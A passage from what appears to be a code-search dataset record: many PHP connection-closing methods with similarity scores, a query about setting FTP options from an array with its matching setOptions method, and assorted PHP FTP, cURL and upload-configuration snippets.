trigger_error(\"Tried to close non-existent connection\");\n return FALSE;\n }\n }", "public function close() {\n if (false !== $this->connection) {\n ftp_close($this->connection);\n $this->connection = false;\n return true;\n }\n return false;\n }", "function disconnect() {\r\n\t\tif ( is_resource($this->_handle) ) {\r\n\t\t\t$res = @ftp_close($this->_handle);\r\n\t\t\tif ( !$res ) {\r\n\t\t\t\tthrow new ftpDisconnectException();\r\n\t\t\t}\r\n\t\t\t$this->_handle = null;\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "private function closeShopConnection()\n\t{\n\t\t$this->ftpConnection = null;\n\t}", "function disconnect()\n\t{\n\t\tif (is_resource($this->connection))\n\t\treturn @ftp_close($this->connection);\n\t\telse\n\t\treturn true;\n\t}", "public function close()\n {\n curl_close($this->ch);\n if ($this->file != null) {\n fclose($this->file);\n }\n }", "public function close()\n {\n $this->fclose();\n }", "public function close()\n {\n $this->connection->quit();\n unset($this->connection);\n $this->connection = null;\n }", "public function close()\r\n {\r\n $this->channel->close();\r\n $this->connect->close();\r\n }", "public function close()\n {\n curl_close($this->curl);\n $this->curl = null;\n $this->connected_to = array(null, null);\n }", "public function close()\n {\n if (fclose($this->stream)) {\n $this->stream = null;\n }\n }", "public function __destruct() {\n\n\t\tif ( $this->link ) {\n\n\t\t\t// errors suppressed here as they are not useful\n\t\t\t@ftp_close( $this->link );\n\t\t}\n\n\t\t// give error handling back to PHP\n\t\trestore_error_handler();\n\t}", "public function close()\n {\n $this->transport->close();\n }", "function close() {\r\n\t\tfclose($this->socket);\r\n\t}", "public static function shutdown() {\n $c= new FtpConnection('ftp://test:test@'.self::$bindAddress);\n $c->connect();\n $c->sendCommand('SHUTDOWN');\n $c->close();\n }", "private function lClose(): void\n {\n fclose($this->fp);\n }", "public function close()\n {\n curl_close($this->_session);\n }", "public function close() {\n $this->channel()->close();\n }", "public function disconnect() : void\r\n {\r\n fclose($this->connection);\r\n }", "public function close()\n {\n curl_close($this->_handle);\n }", "protected function closeRemote()\n {\n if ($this->getRemote()) {\n Logs::writeLog(Logs::WARN, \"Closing connection\");\n $this->write($this->getRemote(), Functions::getClosing());\n fclose($this->getRemote());\n }\n $this->setRemote( null);\n }", "protected function close()\n {\n if (!$this->_channel) return;\n $this->_channel->close();\n $this->_connection->close();\n }", "public function close()\n {\n curl_close($this->handle);\n }", "public function Close() {\n\t $this->error = null; // so there is no confusion\n\t $this->helo_rply = null;\n\t if(!empty($this->smtp_conn)) {\n\t // close the connection and cleanup\n\t fclose($this->smtp_conn);\n\t $this->smtp_conn = 0;\n\t }\n\t}", "public function lclose() {\n\t\tfclose($this->fp);\n\t}", "public function lclose() {\n\t\tfclose($this->fp);\n\t}", "function quit()\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_quit($this->_socket);\r\n \t} else {\r\n \t $this->putcmd(\"QUIT\");\r\n \t //fclose($this->_socket);\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Disconnected from remote host\\n\");\r\n \t\treturn TRUE;\r\n \t} else {\r\n \t\treturn FALSE;\r\n \t}\r\n }", "function close(){\n $this->disconnect();\n stream_socket_shutdown($this->socket, STREAM_SHUT_WR);\n }", "function close() {\n\t\t$this->disconnect();\n\t}", "public function lclose() {\n fclose($this->fp);\n }", "public function lclose() {\n fclose($this->fp);\n }", "public function close()\n {\n curl_close($this->curl);\n $this->curl = null;\n }", "protected function closeConnection()\n {\n fclose($this->client);\n }", "public function close()\n {\n curl_close($this->curl);\n }", "private function close()\n {\n if ($this->stream) {\n $this->stream->close();\n }\n }", "public function close()\n {\n curl_close($this->curl);\n $this->curl = null;\n }", "public function close()\n {\n $this -> connector -> finalize();\n }", "public function closeConnection() {\n\t\t$this->curl->close();\n\t}", "public function disconnect() {\n if ($this->isConnected()) {\n fclose($this->handle);\n\n $this->handle = null;\n }\n }", "public function close() {\r\n\t\tif ($this->opened) {\r\n\t\t\t$this->file->close();\r\n\t\t\t$this->opened = false;\r\n\t\t}\r\n\t}", "public function close() {\n\t\tif ($this->fp) {\n\t\t\t@fclose($this->fp);\n\t\t\t$this->fp = null;\n\n\t\t\t// Import local temp file\n\t\t\tif ($this->mode === MOXMAN_Vfs_IFileStream::WRITE || $this->mode === MOXMAN_Vfs_IFileStream::APPEND) {\n\t\t\t\t$this->file->importFrom($this->localTempFilePath);\n\t\t\t}\n\t\t}\n\t}", "public function Close(){\n\n\t\t\tif($this->connected===true){\n\n\t\t\t\tswitch(strtoupper($this->_mode)){\n\t\t\t\t\tcase '-PDO':\n\t\t\t\t\t\tunset($this->connexion);\n\t\t\t\t\t\t$this->connected = false;\n\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase '-MYSQL':\n\t\t\t\t\t\tmysql_close($this->connexion);\n\t\t\t\t\t\t$this->connected = false;\n\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\tcase '-MYSQLI':\n\t\t\t\t\t\t$this->connexion->close();\n\t\t\t\t\t\t$this->connected = false;\n\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\n\t\t\t}\n\n\t\t}", "public function close() {\n $this->stream->close();\n }", "protected function close() {\n fclose($this->handle);\n }", "public function closeConnection()\n {\n if ($this->connection) {\n $this->info(\"[closeConnection] - Close connection.\");\n @fclose($this->connection);\n }\n $this->connection = null;\n $this->status = false;\n }", "public function close()\n {\n // Free the file resource\n if ($this->fh)\n {\n fclose($this->fh);\n }\n }", "private function Close_Stream( )\r\n\t{\r\n\t\tfclose ( $this -> fileStream );\r\n\t\treturn;\r\n\t}", "public function close()\n {\n fclose($this->_path);\n }", "private function close()\n {\n socket_close($this->socket);\n }", "public function smtpClose()\n {\n if (is_a($this->smtp, 'SMTP')) {\n if ($this->smtp->connected()) {\n $this->smtp->quit();\n $this->smtp->close();\n }\n }\n }", "public function fclose(): void {\n fclose($this->file);\n }", "public function close()\n {\n unset($this->conn);\n }", "public function close()\n {\n $this->_c->close();\n }", "function close() {\r\n\t\t\tif ( $this->_conn != null ) {\r\n\t\t\t\t$this->_conn = null;\r\n\t\t\t\t@OCILogoff( $this->_conn );\r\n\t\t\t}\r\n\t\t}", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close();", "public function close()\n\t{\n\t\t$this->connection->close();\n\t}", "protected function _close()\n\t{\n\t\t$this->connID->close();\n\t}", "public function disconnect() {\n\t\t@fclose ( $this->socket );\n\t}", "public function close() {}", "public function close() {}", "public function close() {}", "public function close()\n {\n $this->setError('');\n $this->server_caps = null;\n $this->helo_rply = null;\n if (is_resource($this->smtp_conn)) {\n // close the connection and cleanup\n fclose($this->smtp_conn);\n $this->smtp_conn = null; //Makes for cleaner serialization\n $this->edebug('Connection: closed', self::DEBUG_CONNECTION);\n }\n }", "public function close() {}", "public function lclose() {\n if ($this->debug == 0 && is_resource($this->fp)) {\n fclose($this->fp);\n }\n }", "public function close()\n {\n fclose($this->resource);\n unset($this->file);\n }", "function close()\n {\n switch ($this->engine)\n {\n case \"mysql\":\n mysql_close($this->connection);\n break;\n }\n }", "public function close()\n {\n $this->connection = null;\n }", "public function close()\r\n\t{\r\n\t\t$this->conn->Close();\r\n\t}", "public function close()\n {\n if (null !== $this->handle && \\is_resource($this->handle)) {\n fclose($this->handle);\n $this->handle = null;\n }\n }", "public function close() {\n\t\t$this->send('__internal__', 'close'); //server side closing can be an issue, let the client do it\n\t}", "public function closeConnection() {\n if ($this->conn) {\n $this->log('Closing Connection');\n fclose(self::getInstance()->getConnection());\n $this->conn = null;\n exit();\n }\n }", "public function close() \n {\n fclose($this->_logf);\n unset($this->_logf);\n }" ]
[ "0.85483074", "0.8410196", "0.8387123", "0.81089", "0.8048731", "0.72567403", "0.718172", "0.71099055", "0.6931308", "0.6721565", "0.6699303", "0.66832113", "0.6532031", "0.6507341", "0.6447262", "0.6436114", "0.6380958", "0.6366801", "0.6353703", "0.6351557", "0.6314835", "0.6302704", "0.6254938", "0.6222767", "0.6177913", "0.6175588", "0.616358", "0.61518", "0.61461395", "0.61438495", "0.61231446", "0.610166", "0.610166", "0.6098733", "0.6063742", "0.60623443", "0.60576534", "0.60576534", "0.60528857", "0.604961", "0.60488755", "0.6029174", "0.6018747", "0.60110325", "0.60091996", "0.6007995", "0.5998374", "0.59877014", "0.5986831", "0.5946825", "0.59337807", "0.59080607", "0.58912057", "0.58881646", "0.5874854", "0.5873508", "0.5868582", "0.58564556", "0.5855429", "0.585504", "0.5847901", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58392847", "0.58313847", "0.58283144", "0.582653", "0.5817428", "0.5817428", "0.5817428", "0.5817035", "0.5816641", "0.5807704", "0.58008265", "0.5793894", "0.57901025", "0.5778206", "0.5776669", "0.5772246", "0.5768389", "0.5766335" ]
0.611099
31
Passed an array of constants => values they will be set as FTP options.
public function setOptions($config) { if ($this->getActive()) { if (!is_array($config)) throw new CHttpException(403, 'EFtpComponent Error: The config parameter must be passed an array!'); // Loop through configuration array foreach ($config as $key => $value) { // Set the options and test to see if they did so successfully - throw an exception if it failed if (!ftp_set_option($this->_connection, $key, $value)) throw new CHttpException(403, 'EFtpComponent Error: The system failed to set the FTP option: "' . $key . '" with the value: "' . $value . '"'); } return $this; } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function admin_update_custom_settings() {\n\t// handle the general settings \n\tif(isset($_REQUEST['command']) && $_REQUEST['command'] == 'update_general_settings' && wp_verify_nonce( $_POST['check_ftp'], 'check_ftp' ) ):\n\n\t \t//set the zanders ftp options\n\t \t$message .= update_option('zanders_ftp_server',isset($_POST['zanders_ftp_server']) ? $_POST['zanders_ftp_server'] : '') ? \"<p><strong>Updated Server URL</strong></p>\" : \"\" ;\n\t \t$message .= update_option('zanders_ftp_port',isset($_POST['zanders_ftp_port']) ? $_POST['zanders_ftp_port'] : '') ? \"<p><strong>Updated Server Port</strong></p>\" : \"\" ;\n\t \t$message .= update_option('zanders_ftp_username',isset($_POST['zanders_ftp_server']) ? $_POST['zanders_ftp_username'] : '') ? \"<p><strong>Updated Username</strong></p>\" : \"\" ;\n\t \t$message .= update_option('zanders_ftp_password',isset($_POST['zanders_ftp_password']) ? $_POST['zanders_ftp_password'] : '') ? \"<p><strong>Updated Password</strong></p>\" : \"\" ;\n\n\t \tif($message):\n\t \t\t$_SESSION['message'] .= \"<div class='updated dismissable'>\";\n\t \t\t$_SESSION['message'] .= $message;\n\t \t\t$_SESSION['message'] .= \"</div>\";\n\n \t\tendif;\n\n\t\theader('Location: ' . $_REQUEST['returl'], true, 301);\n\t\tdie();\n\tendif;\n\t//handle the file settings\n\tif(isset($_REQUEST['command']) && $_REQUEST['command'] == 'update_download_files' && wp_verify_nonce( $_POST['check_download_files'], 'check_download_files' ) ):\n\n\t \t//set the zanders ftp options\n\t \t$message .= update_option('zanders_ftp_local_folder',isset($_POST['zanders_ftp_local_folder']) ? $_POST['zanders_ftp_local_folder'] : '') ? \"<p><strong>Updated Local Directory</strong></p>\" : \"\" ;\n\t \t$message .= update_option('zanders_ftp_remote_folder',isset($_POST['zanders_ftp_remote_folder']) ? $_POST['zanders_ftp_remote_folder'] : '') ? \"<p><strong>Updated Remote Directory</strong></p>\" : \"\" ;\n\n\t \tif($message):\n\t \t\t$_SESSION['message'] .= \"<div class='updated dismissable'>\";\n\t \t\t$_SESSION['message'] .= $message;\n\t \t\t$_SESSION['message'] .= \"</div>\";\n \t\tendif;\n\n\t\theader('Location: ' . $_REQUEST['returl'], true, 301);\n\t\tdie();\n\tendif;\t\n\n}", "public function setAllowedOptions (...$options);", "public function set_options(Array $options);", "public static function setOptions(array $options)\n {\n foreach ($options as $key => $value) {\n Zend_TimeSync::$options[$key] = $value;\n }\n }", "private function set_upload_options()\n {\n $config = array();\n $config['upload_path'] = './uploads/';\n $config['allowed_types'] = 'gif|jpg|png|jpeg';\n \n $config['overwrite'] = FALSE;\n\n return $config;\n }", "function setOptions (array $options);", "public function setOptArray(array $options)\n {\n curl_setopt_array($this->curl, $options);\n }", "public function setoptArray(array $options)\n {\n curl_setopt_array($this->curl, $options);\n }", "public function setConstants($constants)\n {\n $this->constants = $constants;\n }", "function ftplib()\r\n {\r\n\t $this->_debug = false;\r\n $this->_umask = 0022;\r\n $this->_timeout = 30;\r\n $this->_BINARY = 1;\r\n $this->_ASCII = 0;\r\n /*if (function_exists(\"ftp_connect\")) {\r\n \t\t$this->_use_mod_ftp = true;\r\n \t} else {*/\r\n \r\n\t\t\t$this->_use_mod_ftp = false;\r\n \t//}\r\n }", "function wpse_74180_upload_to_ftp( $args ) {\n\t$upload_dir = wp_upload_dir();\n\t$upload_url = get_option('upload_url_path');\n\t$upload_yrm = get_option('uploads_use_yearmonth_folders');\n\t/**\n\t * Change this to match your server\n\t * You only need to change the those with (*)\n\t * If marked with (-) its optional \n\t */\n\t$settings = array(\n\t\t'host'\t =>\t'ip or hostname ftp/hosting', \t\t\t// * the ftp-server hostname\n\t\t'port' => 21, // * the ftp-server port (of type int)\n\t\t'user'\t =>\t'username ftp', \t\t\t\t// * ftp-user\n\t\t'pass'\t =>\t'password ftp',\t \t\t\t\t// * ftp-password\n\t\t'cdn' => 'subdomain.domain.com',\t\t\t// * This have to be a pointed domain or subdomain to the root of the uploads\n\t\t'path'\t =>\t'/',\t \t\t\t\t\t// - ftp-path, default is root (/). Change here and add the dir on the ftp-server,\n\t\t'base'\t => $upload_dir['basedir'] \t// Basedir on local \n\t);\n\t/**\n\t * Change the upload url to the ftp-server\n\t */\n\tif( empty( $upload_url ) ) {\n\t\tupdate_option( 'upload_url_path', esc_url( $settings['cdn'] ) );\n\t}\n\t/**\n\t * Host-connection\n\t * Read about it here: http://php.net/manual/en/function.ftp-connect.php\n\t */\n\t\n\t$connection = ftp_connect( $settings['host'], $settings['port'] );\n\t/**\n\t * Login to ftp\n\t * Read about it here: http://php.net/manual/en/function.ftp-login.php\n\t */\n\t$login = ftp_login( $connection, $settings['user'], $settings['pass'] );\n\t\n\t/**\n\t * Check ftp-connection\n\t */\n\tif ( !$connection || !$login ) {\n\t die('Connection attempt failed, Check your settings');\n\t}\n\tfunction ftp_putAll($conn_id, $src_dir, $dst_dir, $created) {\n $d = dir($src_dir);\n\t while($file = $d->read()) { // do this for each file in the directory\n\t if ($file != \".\" && $file != \"..\") { // to prevent an infinite loop\n\t if (is_dir($src_dir.\"/\".$file)) { // do the following if it is a directory\n\t if (!@ftp_chdir($conn_id, $dst_dir.\"/\".$file)) {\n\t ftp_mkdir($conn_id, $dst_dir.\"/\".$file); // create directories that do not yet exist\n\t }\n\t $created = ftp_putAll($conn_id, $src_dir.\"/\".$file, $dst_dir.\"/\".$file, $created); // recursive part\n\t } else {\n\t $upload = ftp_put($conn_id, $dst_dir.\"/\".$file, $src_dir.\"/\".$file, FTP_BINARY); // put the files\n\t if($upload)\n\t \t$created[] = $src_dir.\"/\".$file;\n\t }\n\t }\n\t }\n\t $d->close();\n\t return $created;\n\t}\n\t/**\n\t * If we ftp-upload successfully, mark it for deletion\n\t * http://php.net/manual/en/function.ftp-put.php\n\t */\n\t$delete = ftp_putAll($connection, $settings['base'], $settings['path'], array());\n\t\n\t// Delete all successfully-copied files\n\tforeach ( $delete as $file ) {\n\t\tunlink( $file );\n\t}\n\t\n\treturn $args;\n}", "public function set_opt($custom_options = array()) {\r\n\t\t$debug_backtrace = debug_backtrace();\r\n\t\t$this_file = __FILE__;\r\n\t\tif (!empty($debug_backtrace[0][\"file\"]) && !empty($this_file) && ($debug_backtrace[0][\"file\"] == $this_file)) { $internal = true; } else { $internal = false; }\r\n\t\tforeach ($custom_options as $key => $value) {\r\n\t\t\tif (!is_string($key)) { trigger_error(\"curl option name must be string instead of default php constant\", E_USER_WARNING); }\r\n\t\t\telseif (!defined($key)) {\r\n\t\t\t\t$curl_version = curl_version();\r\n\t\t\t\ttrigger_error(\"'{$key}' is not a valid option in php v\".phpversion().\" or curl library v\".$curl_version[\"version\"], E_USER_WARNING);\r\n\t\t\t}\r\n\t\t\telseif ($key == \"CURLOPT_COOKIEFILE\") { $this->set_cookiefile($value); }\r\n\t\t\telseif ($key == \"CURLOPT_COOKIEJAR\") { $this->set_cookiejar($value); }\r\n\t\t\telseif (!$internal && in_array($key, array(\"CURLOPT_SAFE_UPLOAD\", \"CURLOPT_PROTOCOLS\", \"CURLOPT_RETURNTRANSFER\", \"CURLOPT_HEADERFUNCTION\", \"CURLINFO_HEADER_OUT\"))) {\r\n\t\t\t\ttrigger_error(\"'{$key}' option is locked in this class to ensure functionalities\", E_USER_WARNING);\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\tif (curl_setopt($this->ch, constant($key), $value)) { $this->options[$key] = $value; }\r\n\t\t\t}\r\n\t\t}\r\n\t}", "private function set_upload_options()\n {\n $config = array();\n $config['upload_path'] = './uploads/';\n $config['allowed_types'] = 'png|jpg|gif';\n $config['max_size'] = '0';\n $config['overwrite'] = FALSE;\n\n return $config;\n }", "private function set_upload_options()\n {\n $config = array();\n $config['upload_path'] = APPPATH. '../uploads/';\n $config['allowed_types'] = 'jpg|png';\n $config['max_size'] = 1000000;\n $config['overwrite'] = TRUE;\n \n return $config;\n }", "private function setOptions(array $options)\n {\n $this->opts = array_merge(array(\n \"build-models.request.queue\" => \"ichnaea.build-models.request\",\n \"build-models.request.exchange\" => \"ichnaea.build-models.request\",\n \"build-models.response.queue\"\t => \"ichnaea.build-models.response\",\n \"predict-models.request.queue\" => \"ichnaea.predict-models.request\",\n \"predict-models.request.exchange\" => \"ichnaea.predict-models.request\",\n \"predict-models.response.queue\" => \"ichnaea.predict-models.response\",\n \"fake.request.queue\" => \"ichnaea.fake.request\",\n \"fake.request.exchange\" => \"ichnaea.fake.request\",\n \"fake.response.queue\" => \"ichnaea.fake.response\",\n ), $this->opts, $options);\n }", "public function setOptions($opts) {\n /* Vars that can be set via this function */\n $allowed = array(\n \"quit_on_error\",\n \"error_handler\",\n \"redirect_on_failure\",\n \"redirect_on_failure_url\",\n \"fail_text\",\n \"redirect_on_logout\",\n \"redirect_on_logout_url\",\n \"logout_text\",\n \"wait_time\",\n \"redirect_on_ip_fail\",\n \"redirect_on_ip_fail_url\",\n \"ip_fail_text\"\n );\n\n foreach ($opts as $k => $o) {\n if (in_array($k, $allowed))\n $this->$k = $o;\n }\n }", "protected function ftpAdapter(array $config)\n {\n return new Ftp([\n 'host' => $config['host'],\n 'username' => $config['user'],\n 'password' => $config['pass'],\n\n /** optional config settings */\n 'passive' => true,\n ]);\n }", "public static function add_options(){\n\n \t\t$settings = array(\n \t\t\t'foundation' => 0\n \t\t);\n\n \t\tadd_option( 'zip_downloads', $settings ); \n\t}", "private function set_upload_options()\n\t{\n\t\t$config = array();\n\t\t$config['upload_path'] = assets_server_path('uploads/products/');\n\t\t$config['allowed_types'] = 'gif|jpg|png|JPG';\n\t\t$config['max_size'] = '30000000';\n\t\t$config['overwrite'] = FALSE;\n\n\t\treturn $config;\n\t}", "public function __construct($files, $options = [])\n { \n parent::__construct();\n $this->signal_this();\n $this->_sig_complete = new SIG_Complete();\n $this->_sig_failure = new SIG_Failure();\n $this->_sig_finished = new SIG_Finished();\n $defaults = [\n 'hostname' => null,\n 'port' => 21,\n 'timeout' => 90,\n 'username' => null,\n 'password' => null\n ];\n $this->_files = $files;\n $options += $defaults;\n $this->_options = $options;\n\n /**\n * Upload Idle process\n */\n $this->_routine->set_idle(new Process(function(){\n $this->_init_transfers();\n foreach ($this->_uploading as $_key => $_file) {\n $status = ftp_nb_continue($_file[0]);\n if ($status === FTP_MOREDATA) {\n continue;\n }\n if ($status === FTP_FINISHED) {\n emit(\n $this->_sig_complete,\n new EV_Complete($_file[1])\n );\n // Close the FTP connection to that file\n ftp_close($_file[0]);\n $this->_uploaded[] = $_file[1];\n } else {\n emit(\n $this->_sig_failure,\n new EV_Failure($_file[1])\n );\n // Close the FTP connection to that file\n ftp_close($_file[0]);\n }\n unset($this->_uploading[$_key]);\n }\n // Cleanup once finished\n if (count($this->_uploading) == 0) {\n emit(\n $this->_sig_finished, \n new EV_Finished($this)\n );\n delete_signal($this);\n delete_signal($this->_sig_complete);\n delete_signal($this->_sig_failure);\n }\n\n }));\n }", "public function setKCFinderOptions(array $options = null)\r\n {\r\n if (!is_array($options) && $options !== null) {\r\n throw new Exception('Pass only array or null in param');\r\n }\r\n \r\n $kcFinderSess = new Zend_Session_Namespace('KCFINDER');\r\n // allow files uploading\r\n $kcFinderSess->disabled = false;\r\n \r\n if(!empty($options)) {\r\n foreach($options as $name => $val) {\r\n if(is_bool($val) || is_string($val)) {\r\n $kcFinderSess->$name = $val;\r\n }\r\n }\r\n } \r\n }", "public function setSettings($params, $context) {\n\t\t// Validate the RPC caller context.\n\t\t$this->validateMethodContext($context, [\n\t\t\t\"role\" => OMV_ROLE_ADMINISTRATOR\n\t\t]);\n\t\t// Validate the parameters of the RPC service method.\n\t\t$this->validateMethodParams($params, \"rpc.ftp.setsettings\");\n\t\t// Get the existing configuration object.\n\t\t$db = \\OMV\\Config\\Database::getInstance();\n\t\t$object = $db->get(\"conf.service.ftp\");\n\t\t$object->setAssoc($params);\n\t\t$db->set($object);\n\t\t// Remove useless properties from the object.\n\t\t$object->remove(\"shares\");\n\t\t$object->remove(\"modules\");\n\t\t// Return the configuration object.\n\t\treturn $object->getAssoc();\n\t}", "public function __construct($options = array()) {\n $this->options = $options + $this->defaults;\n\n // example: //www.hello.com/world/something.html\n if($this->options[\"type\"] == \"absolute\"){\n $this->options[\"require\"] = array_merge($this->options[\"require\"], [\"host\", \"root\"]);\n }\n // example: /world/something.html\n else if($this->options[\"type\"] == \"root\"){\n $this->options[\"require\"] = array_merge($this->options[\"require\"], [\"path\", \"root\"]);\n $this->options[\"disallow\"] = array_merge($this->options[\"disallow\"], [\"host\"]);\n }\n // example: world/something.html\n else if($this->options[\"type\"] == \"relative\"){\n $this->options[\"require\"] = array_merge($this->options[\"require\"], [\"path\"]);\n $this->options[\"disallow\"] = array_merge($this->options[\"disallow\"], [\"host\", \"root\"]);\n }\n }", "function fn_ftp_connect($settings, $show_notifications = false)\n{\n $result = true;\n\n if (function_exists('ftp_connect')) {\n if (!empty($settings['ftp_hostname'])) {\n $ftp_port = !empty($settings['ftp_port']) ? $settings['ftp_port'] : '21';\n if (substr_count($settings['ftp_hostname'], ':') > 0) {\n $start_pos = strrpos($settings['ftp_hostname'], ':');\n $ftp_port = substr($settings['ftp_hostname'], $start_pos + 1);\n $settings['ftp_hostname'] = substr($settings['ftp_hostname'], 0, $start_pos);\n }\n\n $ftp = @ftp_connect($settings['ftp_hostname'], $ftp_port);\n if (!empty($ftp)) {\n if (@ftp_login($ftp, $settings['ftp_username'], $settings['ftp_password'])) {\n\n ftp_pasv($ftp, true);\n\n if (!empty($settings['ftp_directory'])) {\n @ftp_chdir($ftp, $settings['ftp_directory']);\n }\n\n $files = ftp_nlist($ftp, '.');\n if (!empty($files) && in_array('config.php', $files)) {\n Registry::set('ftp_connection', $ftp);\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_ftp_cart_directory_not_found'));\n }\n $result = false;\n }\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_ftp_login_failed'));\n }\n $result = false;\n }\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_ftp_connect_failed'));\n }\n $result = false;\n }\n }\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_no_ftp_module'));\n }\n $result = false;\n }\n\n return $result;\n}", "public function setConstants(Collection $constants): void\n {\n $this->constants = $constants;\n }", "public static function setConf($conf)\n\t{\n\t\t$extConf = array_filter(unserialize($GLOBALS['TYPO3_CONF_VARS']['EXT']['extConf']['rtp_locallang_js']), 'strlen');\n\t\t$conf = is_array($conf) ? array_filter($conf, 'strlen') : array();\n\t\tself::$_conf = array_merge((array) $extConf, (array) $conf);\n\t}", "public function __construct($constants)\n\t{\n\t\t$this->_constants = $constants;\n\t}", "protected function setCurlConstants(): void\n {\n $constants = [\n 'CURLOPT_SSLVERSION' => 32,\n 'CURL_SSLVERSION_TLSv1_2' => 6,\n 'CURLOPT_SSL_VERIFYPEER' => 64,\n 'CURLOPT_SSLCERT' => 10025,\n ];\n\n foreach ($constants as $key => $value) {\n if (!defined($key)) {\n define($key, $constants[$key]);\n }\n }\n }", "static public function setOptions($opts = array()) {\n if (isset($opts['gzip'])) {\n self::$optGzip = $opts['gzip'] ? true : false;\n }\n if (isset($opts['minimal'])) {\n self::$optMinimal = $opts['minimal'] ? true : false;\n }\n // global option for http proxy \n if (isset($opts['pmp_http_proxy'])) {\n self::$optHttpProxy = $opts['pmp_http_proxy'] ? $opts['pmp_http_proxy'] : '';\n } \n }", "public function curlOption($const, $value){\n\ttry{\n\t\tcurl_setopt($this->curl, $const, $value);\n\t} catch (Exception $e){\n\t\treturn $e;\n\t}\n }", "private function set_upload_options()\n {\n $config = array();\n $config['file_name'] = 'test';\n $config['upload_path'] = './resources/images/upload/';\n $config['allowed_types'] = 'gif|jpg|png';\n $config['max_size'] = '0';\n $config['overwrite'] = FALSE;\n\n return $config;\n }", "private function configureDeliveryOptions(array $options): array\n {\n $logger = $options['options']['logger'];\n if (null !== $logger) {\n $options['options']['logger'] = true === $logger\n ? new Reference(LoggerInterface::class)\n : new Reference($options['options']['logger']);\n }\n\n if (null !== $options['options']['client']) {\n $options['options']['client'] = new Reference($options['options']['client']);\n }\n\n $pool = $options['options']['cache']['pool'];\n if (null !== $pool) {\n $options['options']['cache']['pool'] = true === $pool\n ? new Reference(CacheItemPoolInterface::class)\n : new Reference($pool);\n }\n\n return $options;\n }", "public function options(array $options);", "protected function _initSetConstants() {\n // Them file cau hinh cac hang so su dung trong project\n $config = parse_ini_file(APPLICATION_PATH . '/configs/constant.ini');\n foreach($config as $key=>$value){\n // neu chua dinh nghia thi moi dinh nghia lai\n if(!defined($key)){\n define($key, $value);\n }\n }\n }", "function ms_upload_constants()\n {\n }", "public function set_settings(array $fields) {\n\n foreach ($fields as $value) {\n if (is_bool($value)) {\n if ($value == true) {\n $value = \"true\";\n } else if ($value == false) {\n $value = \"false\";\n }\n }\n }\n #$this -> config_array = $fields;\n $this->config_array = array_merge($this->config_array, $fields);\n $this->save();\n }", "private function set_upload_options() {\n $config = array();\n $config ['upload_path'] = './uploadedImage';\n $config ['allowed_types'] = 'gif|jpg|png|bmp';\n\n return $config;\n }", "public function setParts(array $values) {\n\n // add slashes to all semicolons and commas in the single values\n $values = array_map(\n function($val) {\n return strtr($val, array(',' => '\\,', ';' => '\\;'));\n }, $values);\n\n $this->setValue(\n implode($this->getDelimiter(), $values)\n );\n\n }", "function wpmantis_set_options()\n{\n\t$options = array(\n\t\t'mantis_soap_url' => 'http://yoursite.com/bugs/api/soap/mantisconnect.php?wsdl',\n\t\t'mantis_user' => 'wordpress',\n\t\t'mantis_password' => 'password',\n\t\t'mantis_base_url' => 'http://yoursite.com',\n\t\t'mantis_max_desc_lenght' => 25,\n\t\t'mantis_statuses' => array(\n\t\t\t'10' => __('New', 'wp-mantis'),\n\t\t\t'20' => __('Feedback', 'wp-mantis'),\n\t\t\t'30' => __('Acknowledged', 'wp-mantis'),\n\t\t\t'40' => __('Confirmed', 'wp-mantis'),\n\t\t\t'50' => __('Assigned', 'wp-mantis'),\n\t\t\t'80' => __('Resolved', 'wp-mantis'),\n\t\t\t'90' => __('Closed', 'wp-mantis')\n\t\t),\n\t\t'mantis_colors' => array(\n\t\t\t'10' => '#fcbdbd',\n\t\t\t'20' => '#e3b7eb',\n\t\t\t'30' => '#ffcd85',\n\t\t\t'40' => '#fff494',\n\t\t\t'50' => '#c2dfff',\n\t\t\t'80' => '#d2f5b0',\n\t\t\t'90' => '#c9ccc4'\n\t\t),\n\t\t'mantis_enable_pagination' => true,\n\t\t'mantis_bugs_per_page' => 8\n\t);\n\n}", "public function set_options() {\n\t\tif ( Kiwi_Social_Share_Helper::get_setting_value( 'click_to_tweet_posttypes', 'all' ) === 'all' ) {\n\t\t\t$this->post_types = 'all';\n\t\t} else {\n\t\t\t$post_types = Kiwi_Social_Share_Helper::get_setting_value( 'click_to_tweet_posttypes_list', array() );\n\t\t\t$this->post_types = array_merge( $this->post_types, $post_types );\n\t\t};\n\t}", "public function setSettings(array $settings)\n {\n }", "public function setSettings(array $settings)\n {\n }", "public function setOptions(array $_options)\n {\n $this->options = $_options;\n }", "function vfcf7_register_settings() {\n register_setting( 'vfcf7_options_group', 'vfcf7_option_name', 'vfcf7_callback' );\n register_setting( 'vfcf7_options_group', 'vfcf7_option_name1', 'vfcf7_callback' );\n register_setting( 'vfcf7_options_group', 'vfcf7_option_name2', 'vfcf7_callback' );\n register_setting( 'vfcf7_options_group', 'vfcf7_option_name3', 'vfcf7_callback' );\n register_setting( 'vfcf7_options_group', 'vfcf7_option_name4', 'vfcf7_callback' );\n register_setting( 'vfcf7_options_group', 'vfcf7_option_name5', 'vfcf7_callback' );\n}", "function settings_tfls( $settings ) {\r\n\r\n\t\t\t$settings[] = include( 'class-wc-settings-tfls.php' 